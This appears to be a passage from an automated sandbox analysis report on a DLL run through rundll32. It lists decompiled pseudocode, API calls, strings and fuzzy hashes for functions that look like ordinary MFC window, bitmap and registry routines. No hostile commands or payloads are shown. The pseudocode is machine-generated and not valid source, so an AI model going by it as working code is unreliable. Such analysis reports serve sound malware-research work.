0x10012420
0x10012426
0x10012427
0x10012428
0x10012432
0x10012434
0x10012441
0x10012444
0x10012449
0x10012452
0x1001245a
0x1001245b
0x1001245e
0x10012461
0x10012466
0x10012467
0x1001246e
0x10012475
0x1001247a
0x1001247c
0x1001247e
0x1001247e
0x1001247e
0x1001247c
0x1001247f
0x10012483
0x10012485
0x1001248f
0x10012490
0x10012497
0x1001249c
0x1001249e
0x100124a0
0x100124a0
0x100124a0
0x1001249e
0x100124a3
0x100124a7
0x100124ac
0x100124ad
0x100124b0
0x100124b7
0x100124be
0x100124c3
0x100124c5
0x100124c7
0x100124c7
0x100124c7
0x100124c5
0x100124ca
0x100124ce
0x100124de
0x100124e1
0x100124e4
0x100124e9
0x100124eb
0x100124ed
0x100124ed
0x100124ed
0x100124eb
0x100124f0
0x100124f3
0x10012503
0x1001250a
0x10012511
0x10012516
0x10012518
0x1001251a
0x1001251a
0x1001251a
0x10012518
0x1001251c
0x10012520
0x1001252b
0x10012537
0x10012539
0x10012539
0x10012539
0x10012539
0x10012540
0x10012544
0x1001254c
0x10012558
0x10012558
0x10012558
0x1001255a
0x1001255e
0x10012569
0x10012575
0x10012575
0x10012575
0x1001257c
0x1001257f
0x10012586
0x1001258e
0x1001258e
0x1001258e
0x10012595
0x10012598
0x1001259f
0x100125ab
0x100125ab
0x100125ab
0x100125b2
0x100125b5
0x100125bc
0x100125c8
0x100125c8
0x100125c8
0x100125cf
0x100125d2
0x100125d9
0x100125e5
0x100125e5
0x100125e5
0x100125ec
0x100125ef
0x100125f6
0x10012602
0x10012602
0x10012602
0x10012609
0x1001260c
0x10012613
0x1001261f
0x1001261f
0x1001261f
0x10012626
0x10012629
0x10012630
0x10012638
0x10012638
0x10012638
0x1001263f
0x10012642
0x10012649
0x10012651
0x10012651
0x10012651
0x10012658
0x1001265b
0x10012662
0x1001266e
0x1001266e
0x1001266e
0x10012675
0x10012678
0x1001267f
0x1001268b
0x1001268b
0x1001268b
0x10012692
0x10012695
0x1001269c
0x100126a4
0x100126a4
0x100126a4
0x100126a6
0x100126a9
0x100126ac
0x100126b8
0x100126ba
0x100126bf
0x100126c2
0x100126c2
0x100126c2
0x100126d1
0x100126d3
0x100126d3
0x00000000

APIs

_memset.LIBCMT ref: 10012434

Strings

AfxMDIFrame80s, xrefs: 100124D5
AfxFrameOrView80s, xrefs: 100124FA
@, xrefs: 100125D9
@, xrefs: 10012540

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: _memset
String ID: @$@$AfxFrameOrView80s$AfxMDIFrame80s
API String ID: 2102423945-4122032997
Opcode ID: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction ID: 475a3f3acc0ffbf0912b6f4f501dab117ae518df3bc7e116c44220daacf7d2ae
Opcode Fuzzy Hash: 6a965a47b8202c06a0f9d29b019c3ce5b36ca544f607173cb73e005fb23cc034
Instruction Fuzzy Hash: 658130B5D00259AADB41CFA4C581BDEBBF8FF08384F118165F949EA181E774DAD4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 100017E0, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1000C4C7: _memset.LIBCMT ref: 1000C4DE

_strlen.LIBCMT ref: 100018FF
_strlen.LIBCMT ref: 10001971
_strlen.LIBCMT ref: 100019B6
LoadIconA.USER32 ref: 100019FD

Strings

127.0.0.1, xrefs: 100018E8, 100018FA, 1000190E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: _strlen$IconLoad_memset
String ID: 127.0.0.1
API String ID: 858515944-3619153832
Opcode ID: 898db51695d71074432e6c462d84248df0b95807942bfc977d9e5831728a3540
Instruction ID: 391a885bd144bb184e99009df4bcd3f8a2a5cd6933164126564d3f2e09fb5126
Opcode Fuzzy Hash: 898db51695d71074432e6c462d84248df0b95807942bfc977d9e5831728a3540
Instruction Fuzzy Hash: 835106B4D04298DBEB14CFA4D891B9DBBB1EF44344F1081A9E50D6B386DB356E44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1001486F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E1001486F(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				void* __ebp;
				void* _t66;
				short* _t70;
				signed int _t72;
				signed int _t81;
				signed int* _t83;
				short* _t84;
				void* _t91;
				signed int* _t98;
				signed int _t99;
				void** _t100;
				intOrPtr _t102;
				signed int _t104;
				signed int _t106;
				void* _t107;

				_t101 = __esi;
				_t97 = __edx;
				_t82 = __ebx;
				_v8 =  *0x10057a08 ^ _t106;
				_t100 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E100146B2(_t83);
					_t102 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t102;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t66 = 0;
					} else {
						_t97 = _t102 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t97;
						if(_t97 < _t102) {
							goto L15;
						} else {
							_t70 = E100146DD(_t83);
							_t91 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t81 = E100169F6(_t84 + _t102);
								_t97 = _v76;
								_t91 = _t102 + 2 + _t81 * 2;
							}
							_t33 = _t97 + 3; // 0x3
							_t98 = _v84;
							_t36 = _t84 + 3; // 0x10002
							_t72 = _t91 + _t36 & 0xfffffffc;
							_t104 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t99 =  *(_t98 + 8) & 0x0000ffff;
							} else {
								_t99 =  *(_t98 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t91 || _t99 <= 0) {
								L17:
								 *_t84 = _a8;
								_t97 =  &_v72;
								E100147F2(_t84 + _v92, _t100, _t104, _t106, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t100[1] = _t100[1] + _t104 - _v80;
								GlobalUnlock( *_t100);
								_t100[2] = _t100[2] & 0x00000000;
								_t66 = 1;
							} else {
								_t97 = _t100[1];
								_t95 = _t97 - _t72 + _v84;
								if(_t97 - _t72 + _v84 <= _t97) {
									E100147F2(_t84, _t100, _t104, _t106, _t104, _t95, _t72, _t95);
									_t107 = _t107 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t101);
					_pop(_t82);
				} else {
					_t66 = 0;
				}
				return E100167D5(_t66, _t82, _v8 ^ _t106, _t97, _t100, _t101);
			}

0x1001486f
0x1001486f
0x1001486f
0x1001487c
0x10014883
0x10014889
0x1001488c
0x10014895
0x10014896
0x1001489f
0x100148ad
0x100148b0
0x100148b8
0x100148ce
0x100148d0
0x100148d3
0x100148db
0x100148d5
0x100148d5
0x100148d5
0x100148ea
0x10014968
0x10014968
0x100148ec
0x10014901
0x10014906
0x10014909
0x00000000
0x1001490b
0x1001490c
0x10014912
0x10014917
0x10014919
0x1001491f
0x10014924
0x10014928
0x10014928
0x1001492c
0x10014930
0x10014933
0x10014937
0x1001493a
0x10014941
0x10014944
0x1001494c
0x10014946
0x10014946
0x10014946
0x10014953
0x10014978
0x1001497f
0x10014988
0x10014990
0x1001499d
0x100149a0
0x100149a6
0x100149ac
0x1001495a
0x1001495a
0x10014961
0x10014966
0x10014970
0x10014975
0x00000000
0x00000000
0x00000000
0x00000000
0x10014966
0x10014953
0x10014909
0x100149ad
0x100149ae
0x1001488e
0x1001488e
0x1001488e
0x100149bb

APIs

GlobalLock.KERNEL32 ref: 10014899
lstrlenA.KERNEL32(?), ref: 100148E1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 100148FB

Strings

System, xrefs: 10014895

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWidelstrlen
String ID: System
API String ID: 1529587224-3470857405
Opcode ID: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction ID: 74ffa1d7f554f06ed3380e5a1b3eb1278af2c0b09513685a0b874fafc39ddc5e
Opcode Fuzzy Hash: 5539861cf9964bd4a1f8d2b85f820bea2489ddcf645bd320d082abb330923d9c
Instruction Fuzzy Hash: FA41B271D00225DFDB04DFA4C885AAEBBB5FF04354F268129E411EF195EB70E986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1000B3AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000B3AF(void* __edx, signed int _a116, char _a120) {
				void _v12;
				char _v16;
				signed int _v20;
				int _v24;
				char _v124;
				char _v172;
				intOrPtr _v184;
				int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				unsigned int _t28;
				intOrPtr _t35;
				unsigned int _t39;
				intOrPtr _t40;
				void* _t42;
				void* _t43;
				signed int _t45;

				_t45 =  &_v124;
				_a116 =  *0x10057a08 ^ _t45;
				_push(_t43);
				_push(_t42);
				_t28 = GetMenuCheckMarkDimensions();
				_t38 = _t28;
				_t39 = _t28 >> 0x10;
				_v24 = _t39;
				if(_t28 <= 4 || __ecx <= 5) {
					_push(_t45);
					_push(_t39);
					_v172 = 0x10057298;
					E10017C83( &_v172, 0x1002e2fc);
					asm("int3");
					_push(4);
					E10017BC1(E10027DEC, _t38, _t42, _t43);
					_t40 = E10013965(0x104);
					_v184 = _t40;
					_t35 = 0;
					_v172 = 0;
					if(_t40 != 0) {
						_t35 = E1000CF71(_t40);
					}
					return E10017C60(_t35);
				} else {
					if(__ebx > 0x20) {
						__ebx = 0x20;
					}
					__eax = __ebx - 4;
					asm("cdq");
					__eax = __ebx - 4 - __edx;
					__esi = __ebx + 0xf;
					__esi = __ebx + 0xf >> 4;
					__ebx - 4 - __edx = __ebx - 4 - __edx >> 1;
					__esi = __esi << 4;
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4);
					__edi = (__ebx - 4 - __edx >> 1) + (__esi << 4) - __ebx;
					if(__edi > 0xc) {
						__edi = 0xc;
					}
					__eax = 0x20;
					if(__ecx > __eax) {
						_v24 = __eax;
					}
					 &_v12 = E100174D0(__edi,  &_v12, 0xff, 0x80);
					_v24 = _v24 + 0xfffffffa;
					_v24 + 0xfffffffa >> 1 = (_v24 + 0xfffffffa >> 1) * __esi;
					__ecx = __esi + __esi;
					__eax = __ebp + (_v24 + 0xfffffffa >> 1) * __esi * 2 - 0xc;
					__edx = 0x1002a144;
					_v20 = __esi + __esi;
					_v16 = 5;
					do {
						__si =  *__edx & 0x000000ff;
						__ecx = __edi;
						__si = ( *__edx & 0x000000ff) << __cl;
						__edx =  &(__edx[1]);
						__ecx = __si & 0x0000ffff;
						__eax->i = __ch;
						__eax->i = __cl;
						__eax = __eax + _v20;
						_t21 =  &_v16;
						 *_t21 = _v16 - 1;
					} while ( *_t21 != 0);
					__eax =  &_v12;
					__eax = CreateBitmap(__ebx, _v24, 1, 1,  &_v12);
					_pop(__edi);
					_pop(__esi);
					 *0x1005aa80 = __eax;
					_pop(__ebx);
					if(__eax == 0) {
						__eax = LoadBitmapA(__eax, 0x7fe3);
						 *0x1005aa80 = __eax;
					}
					__ecx = _a116;
					__ecx = _a116 ^ __ebp;
					__eax = E100167D5(__eax, __ebx, _a116 ^ __ebp, __edx, __edi, __esi);
					__ebp =  &_a120;
					__esp =  &_a120;
					_pop(__ebp);
					return __eax;
				}
			}

0x1000b3b0
0x1000b3c1
0x1000b3c5
0x1000b3c6
0x1000b3c7
0x1000b3cd
0x1000b3d6
0x1000b3d9
0x1000b3dc
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000b3e8
0x1000b3eb
0x1000b3ef
0x1000b3ef
0x1000b3f0
0x1000b3f3
0x1000b3f4
0x1000b3f6
0x1000b3f9
0x1000b3fe
0x1000b402
0x1000b405
0x1000b407
0x1000b40c
0x1000b410
0x1000b410
0x1000b413
0x1000b416
0x1000b418
0x1000b418
0x1000b429
0x1000b431
0x1000b439
0x1000b43c
0x1000b43f
0x1000b443
0x1000b448
0x1000b44b
0x1000b452
0x1000b452
0x1000b456
0x1000b458
0x1000b45b
0x1000b45f
0x1000b462
0x1000b464
0x1000b467
0x1000b46a
0x1000b46a
0x1000b46a
0x1000b46f
0x1000b47b
0x1000b483
0x1000b484
0x1000b485
0x1000b48a
0x1000b48b
0x1000b493
0x1000b499
0x1000b499
0x1000b49e
0x1000b4a1
0x1000b4a3
0x1000b4a8
0x1000b4ab
0x1000b4ab
0x1000b4ac
0x1000b4ac

APIs

GetMenuCheckMarkDimensions.USER32 ref: 1000B3C7
_memset.LIBCMT ref: 1000B429
CreateBitmap.GDI32(?,?,00000001,00000001,?), ref: 1000B47B
LoadBitmapA.USER32 ref: 1000B493

Strings

, xrefs: 1000B3E8

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction ID: 72b3b778e8896de6b9c4d2b5d37ea691cdfdc38a5381d0430ce67680fa501abd
Opcode Fuzzy Hash: b2a79c12d357676e4b0d2bf410ff4187b19c80d36ed6dad2827428fa924ab4b7
Instruction Fuzzy Hash: 5931F572A0065A9FFB10CF78CCC6AAE7BB5EB44384F25052AE506EB1C5D730EA45C750

Uniqueness

Uniqueness Score: -1.00%

Function 1000D86F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1000D86F(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E1000D6C3() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E100199D4(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x1005a760(_a4, _a8);
			}

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 1000D8AD
GetSystemMetrics.USER32 ref: 1000D8C5
GetSystemMetrics.USER32 ref: 1000D8CC

Strings

DISPLAY, xrefs: 1000D8E9
B, xrefs: 1000D88C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction ID: 9954a119ce47e65a3950f6e4b3e830268b9633322f26d87d987c4675ad6ec402
Opcode Fuzzy Hash: 8876a3cbcd016a78351f26f5d05056f9f81063dbdc410b1432d22438e2067453
Instruction Fuzzy Hash: 7C118F71600328ABEB11EF649C84B9F7EA8EF057D0B108066FD09AA14AD6719951CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 1000C570, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C570(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E1000DFD6(__ecx, __eflags, _t26) == 0) {
					_t10 = E1001040B(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E1000E426(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E100140D6(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

Strings

Edit, xrefs: 1000C5C0

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction ID: c36f5ccd8b34139a66e87801a9a5321a409f351d494de0105f07b228c10d2adb
Opcode Fuzzy Hash: 69ab62d90964fea0973c829bc4d4e68af8609d85649b9a8f255ba6de021e82f1
Instruction Fuzzy Hash: F4015E3820070AA7FA65DB258D45F5AB6E5EF056D2F214429F942F10B8CFB0FD91D560

Uniqueness

Uniqueness Score: -1.00%

Function 1000BC89, Relevance: 7.6, APIs: 5, Instructions: 75
registryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E1000BC89(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t30;
				void* _t32;
				signed int _t34;
				signed int _t42;
				void* _t43;
				void* _t44;
				char** _t54;
				void* _t55;
				void* _t58;
				char* _t59;
				void* _t61;

				_t42 = __ebx;
				_t59 = _t61 - 0x104;
				_t59[0x108] =  *0x10057a08 ^ _t59;
				_push(0x18);
				E10017BF4(E10027F23, __ebx, __edi, __esi);
				_t54 = _t59[0x118];
				_t44 = _t59[0x114];
				_t52 = _t59 - 0x18;
				 *(_t59 - 0x20) = _t44;
				 *(_t59 - 0x1c) = _t54;
				_t30 = RegOpenKeyA(_t44,  *_t54, _t59 - 0x18);
				_t57 = _t30;
				if(_t30 == 0) {
					while(1) {
						_t34 = RegEnumKeyA( *(_t59 - 0x18), 0, _t59, 0x104);
						_t57 = _t34;
						_t66 = _t57;
						if(_t57 != 0) {
							break;
						}
						 *(_t59 - 4) =  *(_t59 - 4) & _t34;
						_push(_t59);
						E10009FA3(_t42, _t59 - 0x14, _t54, _t57, _t66);
						 *(_t59 - 4) = 1;
						_t57 = E1000BC89(_t42, _t54, _t57, _t66,  *(_t59 - 0x18), _t59 - 0x14);
						_t42 = _t42 & 0xffffff00 | _t57 != 0x00000000;
						 *(_t59 - 4) = 0;
						E10009CB7( *((intOrPtr*)(_t59 - 0x14)) + 0xfffffff0, _t52);
						if(_t42 == 0) {
							 *(_t59 - 4) =  *(_t59 - 4) | 0xffffffff;
							continue;
						}
						break;
					}
					__eflags = _t57 - 0x103;
					if(_t57 == 0x103) {
						L6:
						_t57 = RegDeleteKeyA( *(_t59 - 0x20),  *_t54);
					} else {
						__eflags = _t57 - 0x3f2;
						if(_t57 == 0x3f2) {
							goto L6;
						}
					}
					RegCloseKey( *(_t59 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				_pop(_t55);
				_pop(_t58);
				_pop(_t43);
				_t32 = E100167D5(_t57, _t43, _t59[0x108] ^ _t59, _t52, _t55, _t58);
				__eflags =  &(_t59[0x10c]);
				return _t32;
			}

0x1000bc89
0x1000bc90
0x1000bc9b
0x1000bca1
0x1000bca8
0x1000bcad
0x1000bcb5
0x1000bcbb
0x1000bcc1
0x1000bcc4
0x1000bcc7
0x1000bccd
0x1000bcd1
0x1000bcd7
0x1000bce5
0x1000bceb
0x1000bced
0x1000bcef
0x00000000
0x00000000
0x1000bcf1
0x1000bcf7
0x1000bcfb
0x1000bd07
0x1000bd13
0x1000bd17
0x1000bd1d
0x1000bd21
0x1000bd28
0x1000bd2a
0x00000000
0x1000bd2a
0x00000000
0x1000bd28
0x1000bd4b
0x1000bd51
0x1000bd5b
0x1000bd66
0x1000bd53
0x1000bd53
0x1000bd59
0x00000000
0x00000000
0x1000bd59
0x1000bd6b
0x1000bd6b
0x1000bd76
0x1000bd7e
0x1000bd7f
0x1000bd80
0x1000bd89
0x1000bd8e
0x1000bd95

APIs

__EH_prolog3_catch.LIBCMT ref: 1000BCA8
RegOpenKeyA.ADVAPI32(?,00000000,?), ref: 1000BCC7
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BCE5
RegDeleteKeyA.ADVAPI32(?,?), ref: 1000BD60
RegCloseKey.ADVAPI32(?), ref: 1000BD6B

Part of subcall function 10009FA3: __EH_prolog3.LIBCMT ref: 10009FAA

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDeleteEnumH_prolog3H_prolog3_catchOpen
String ID:
API String ID: 301487041-0
Opcode ID: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction ID: 653bf45c983c6aa9a2c45ec2c29e65d920d70d1e6a7a13c67c9db93679124605
Opcode Fuzzy Hash: 39e7eb00d6dc938df27b9e03ef33bae49a28eb95fe07434f2e98046a2569245b
Instruction Fuzzy Hash: 0921A075D0465A9FEB21DF94CC81AEDB7B0FF04390F104126ED55A7290EB705E44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013F9E, Relevance: 7.6, APIs: 5, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E10013F9E(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t21;
				void* _t22;
				intOrPtr _t25;
				void* _t26;
				int _t27;
				CHAR* _t28;
				signed int _t29;

				_t25 = __edx;
				_t22 = __ecx;
				_v8 =  *0x10057a08 ^ _t29;
				_t21 = _a4;
				_t32 = _t21;
				_t28 = _a8;
				if(_t21 == 0) {
					L1:
					E1000A0DB(_t21, _t22, _t26, _t28, _t32);
				}
				if(_t28 == 0) {
					goto L1;
				}
				_t27 = lstrlenA(_t28);
				_v264 = 0;
				E100174D0(_t27,  &_v263, 0, 0xff);
				if(_t27 > 0x100 || GetWindowTextA(_t21,  &_v264, 0x100) != _t27 || lstrcmpA( &_v264, _t28) != 0) {
					_t16 = SetWindowTextA(_t21, _t28);
				}
				return E100167D5(_t16, _t21, _v8 ^ _t29, _t25, _t27, _t28);
			}

0x10013f9e
0x10013f9e
0x10013fae
0x10013fb2
0x10013fb5
0x10013fb8
0x10013fbc
0x10013fbe
0x10013fbe
0x10013fbe
0x10013fc5
0x00000000
0x00000000
0x10013fd3
0x10013fde
0x10013fe5
0x10013ff4
0x1001401d
0x1001401d
0x10014031

APIs

lstrlenA.KERNEL32(?,?,00000000), ref: 10013FC8
_memset.LIBCMT ref: 10013FE5
GetWindowTextA.USER32 ref: 10013FFF
lstrcmpA.KERNEL32(00000000,?), ref: 10014011
SetWindowTextA.USER32(?,?), ref: 1001401D

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction ID: fa7108181993de9b8ea87dd6eaa7291c2451852d429ff63cadea9d36e3b3e8b2
Opcode Fuzzy Hash: 2b79ff425e09df3a26b2ab50ef16ba7c17b80cb00167e4224560e412a4786cd9
Instruction Fuzzy Hash: 3901C0B6A00228ABE711DB65DCC4FDF77ACEF18790F110065EA45D7141DA70DE848BA0

Uniqueness

Uniqueness Score: -1.00%

Function 10010C0F, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E10010C0F(void* __ebx, void* __edi, void* __ebp, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				void* __esi;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				void* _t25;
				void* _t26;
				void* _t28;

				_t28 = __eflags;
				_t24 = __edi;
				_t21 = __ebx;
				E1001431B(__ebx, _t25, __ebp, 0xc);
				_push(E100100DE);
				_t26 = E100139F5(__ebx, 0x1005a8e0, __edi, _t25, _t28);
				_t29 = _t26;
				if(_t26 == 0) {
					E1000A0DB(_t21, 0x1005a8e0, __edi, _t26, _t29);
				}
				_t30 =  *(_t26 + 8);
				if( *(_t26 + 8) != 0) {
					L7:
					E10014388(0xc);
					return  *(_t26 + 8)(_v4, _v0, _a4, _a8);
				} else {
					_push("hhctrl.ocx");
